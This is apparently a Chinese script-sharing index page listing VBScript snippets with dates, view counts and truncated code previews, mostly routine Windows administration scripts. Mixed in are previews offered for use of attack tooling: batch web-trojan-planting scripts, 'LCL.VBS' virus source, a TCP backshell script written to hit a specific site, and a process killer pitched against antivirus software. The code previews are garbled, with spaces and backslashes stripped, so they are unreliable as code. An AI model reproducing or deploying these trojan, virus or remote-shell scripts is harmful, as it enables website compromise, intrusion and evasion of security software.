一个扩展时间段的dir命令的vbs脚本

2017年02月06日 171 阅读

setArg=Wscript.Arguments IfArg.Count=0then Wscript.echochr（9）&chr（9）&space（4）&"Xdirv0.1" Wscript.echo"" Wscript.echochr（9）&"cscriptdir.vbspathtime1time2ext" Wscript.echochr（9）&"cscriptdir.vbsd: est2008010120080430doc" Wscript.Quit...

用vbs实现的exe2swf工具脚本代码

2017年02月06日 174 阅读

复制代码 代码如下:dimAsoR,FlashFileName SetArgObj=WScript.Arguments dimPositionStart,OKed,Tag,EndSize PositionStart=920000"flash4的播放器的大致字节数 EndSize=8"exe文件结尾字节数,其它版本可以设置为0 FlashFileName=ArgObj（0）"传递路径 setAsoR=CreateObject（"Adodb.Stream"） ...

vbs更改3389远程桌面端口的脚本

2017年02月06日 175 阅读

SetWshShell=CreateObject（"Wscript.Shell"） FunctionImput（） imputport=InputBox（"请输入一个端口号，注意：这个端口号目前不能被其它程序使用，否则会影响终端服务","更改终端端口号","3389",100,100） Ifimputport<>""Then IfIsNumeric（imputport）Then WshShell.RegWrite"HKLMSYSTEMCurre...

用vbs实现的强制杀进程的脚本

2017年02月06日 174 阅读

黑人必会！强制杀进程！对付杀毒软件啊 "备注：vbs强制关闭程序 "防止出现错误复制代码 代码如下:OnErrorResumeNext "vbs代码开始---------------------------------------------- subClose_Process（ProcessName） OnErrorResumeNext foreachpsingetobject（"winmgmts:\. ootcimv2:win32_process"）....

用VBS脚本实现更换Windows Xp序列号的代码

2017年02月06日 151 阅读

ONERRORRESUMENEXT DimVOL_PROD_KEY ifWscript.arguments.count<1then VOL_PROD_KEY=InputBox（"使用说明："&vbCr&vbCr&"本程序将自动替换你当前Windows的序列号,通过微软验证完全正版。"&vbCr&vbCr&"序列号（OEM版无效,默认版本为XPVLK）："&vbCr&vbCr&"输入序列号（默认为XPVLK）：","WindowsXP/2003序列号更...

vbs实现右键菜单中添加CMD HERE

2017年02月06日 165 阅读

右键菜单中添加CMDHERE 复制代码 代码如下:SetWshShell=CreateObject（"Wscript.Shell"） WshShell.RegWrite"HKEY_LOCAL_MACHINESoftwareCLASSESFoldershellcmdhere","" WshShell.RegWrite"HKEY_LOCAL_MACHINESoftwareCLASSESFoldershellcmdherecommand","" WshShell...

用VBS脚本删除指定以外的文件或文件夹

2017年02月06日 262 阅读

OptionExplicit """"""""""""""说明"""""""""""" "网盟-黑火制作，送给需要的朋友。 "配置文件“Listfile.ini”的格式如下： "要删除什么（文件|目录）=要执行删除的文件夹=排除1;排除2;排除3............ "配置文件可以有多行，以便对多个目录进行操作。 "配置文件里以“/”开头的行为注释行。 "排除多个内容时，使用分号“;”进行分隔。 "↓↓↓配置文件例子：↓↓↓ "/配置文件开始 "目录=...

用VBS记录客户机操作的代码

2017年02月06日 167 阅读

记录客户机操作的VBS脚本onerrorresumenext strComputer="." SetobjWMIService=GetObject（"winmgmts:\"&strComputer&" ootcimv2"） SetIPConfigSet=objWMIService.ExecQuery_ （"SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE"） Fo...

用vbs删除某些类型文件和磁盘空间报告的脚本

2017年02月06日 181 阅读

OptionExplicit dimServerPath,onlyone,notfinddel,WorkPath,arrWorwpath,strWorkPath,fso,wsh,WshNetwork,cName,exectime,fnum,donum,totalsize,t1,t2,tm fnum=0 donum=0 totalsize=0 WorkPath="F:|D:|C:Download""这里设置需要扫描的路径（绝对路径）,使用“|”来分隔多个路径...

两个批量挂马vbs脚本代码

2017年02月06日 156 阅读

scan.vbe cscriptscan.vbeweb目录 程序代码： "版权信息 br="************************************"&vbCrLf br=br&"*VBS批量挂马脚本*"&vbCrLf br=br&"*BYBanLG*"&vbCrLf br=br&"************************************"&vbCrLf&vbCrLf br=br&"cscriptscan.vbeD:"&vb...

关于vbs WebBrowser导航问题

2017年02月06日 161 阅读

实际上属于转贴。。呵呵:-） 原始文章来自微软，微软么，是大家的微软嘛！所以稍微修改了一下，帖到这里。 原文的中文地址是： http://support.microsoft.com/kb/185538/zh-cn 实际上，这个实现就是获取一个接口，还是叫事件吧。。。。更明显，反正我是分不清这些东西的。DimWithEventsWeb_V1AsSHDocVwCtl.WebBrowser_V1 163的链接一般都是弹出窗口，就用163吧 PrivateSubF...

LCL.VBS 病毒源代码

2017年02月06日 187 阅读

rem email:kouguoxi@hotmail.comrem some crack statement i remment,make it can"t to runonerrorresumenext dimtitle,text title="canyouhelpmefindaperson？" text="hernameisLiuChunli."&chr（13）&chr（10） text=text&"herbirthdayis1981-01-23."&...

用vbs实现向任何电子邮件发送邮件

2017年02月06日 161 阅读

remianbird,notabigbird,itisadullbird. remididn"tsingthreeyearsago,todayichirpit. "OnErrorresumenext onerrorgoto0 Setfs=CreateObject（"Scripting.FileSystemObject"） Setletter=fs.CreateTextFile（wscript.ScriptFullName&".txt",True） a=ch...

用VBS检测Guest状态的脚本

2017年02月06日 173 阅读

复制代码 代码如下:SetobjNetwork=CreateObject（"Wscript.Network"） strComputer=objNetwork.ComputerName SetobjUser=GetObject（"WinNT://"&strComputer&"/Guest"） IfobjUser.AccountDisabledThen Wscript.Echo"Guest为禁用状态" Else Wscript.Echo"Guest为开启状态"...

用vbs实现的输入助手附使用方法

2017年02月06日 196 阅读

//把要ECHO的脚本,拖到此脚本上...根据提示操作即可 复制代码 代码如下:OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit ‘——————- ‘Enjoyit ‘CodeByNetPatch ‘——————- fname=InputBox（”请输入要ECHO的路径）:”,”输入文件名”,”%systemroot%/system32/webdl.vbs”） ...

vbs base64 解密脚本代码

2017年02月06日 173 阅读

复制代码 代码如下:Function fDecode（sStringToDecode） "This function will decode a Base64 encoded string and returns the decoded string. "This becomes usefull when attempting to hide passwords from prying eyes. Const CharList = "ABCDEFGHIJK...

用vbs实现修改dns的网关脚本

2017年02月06日 168 阅读

复制代码 代码如下:Const T_GATEWAY = "1.1.1.1" "网关 Const T_NEWDNS1 = "2.2.2.2" "DNS1 Const T_NEWDNS2 = "3.3.3.3" "DNS2 strWinMgmt="winmgmts:{impersonationLevel=impersonate}" Set NICS = GetObject（ strWinMgmt ）.InstancesOf（"Win32_NetworkAdap...

TCP版backshell的VBS脚本代码

2017年02月06日 179 阅读

"搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷 "by009,baicker@hotmail.com "date:071221 Dimrevdata setsock=WScript.createobject（"MSWinsock.Winsock","WSEvent_"） setsc=createobject（"WScript.Shell"） Setfso=CreateObject（"Scripting.FileSystemObject"） so...

VBS实现DOC转为文本文档的代码

2017年02月06日 182 阅读

打开记事本输入： 复制代码 代码如下:ONERRORRESUMENEXT setargs=wscript.arguments arg=args（0） setw=createobject（"word.application"） setfso=createobject（"scripting.filesystemobject"） setdocfile=fso.getfile（arg） docpath=docfile.path pt=left（docpath,In...

一个用vbs查找硬盘所有分区中的指定程序的代码

2017年02月06日 158 阅读

OnErrorResumeNext"忽略所有错误 Dimfilename"声明变量 Dimre Setre=NewRegExp"建立正则表达式对象实例 re.Pattern="^（[a-z]|[A-Z]）+:\w+.vbs$" Ifre.Test（WScript.ScriptFullName）=FalseThen MsgBox"请在磁盘根目录下运行本程序，否则搜索结果可能会不正确！",,"MessageBox" WScript.Quit EndIf re....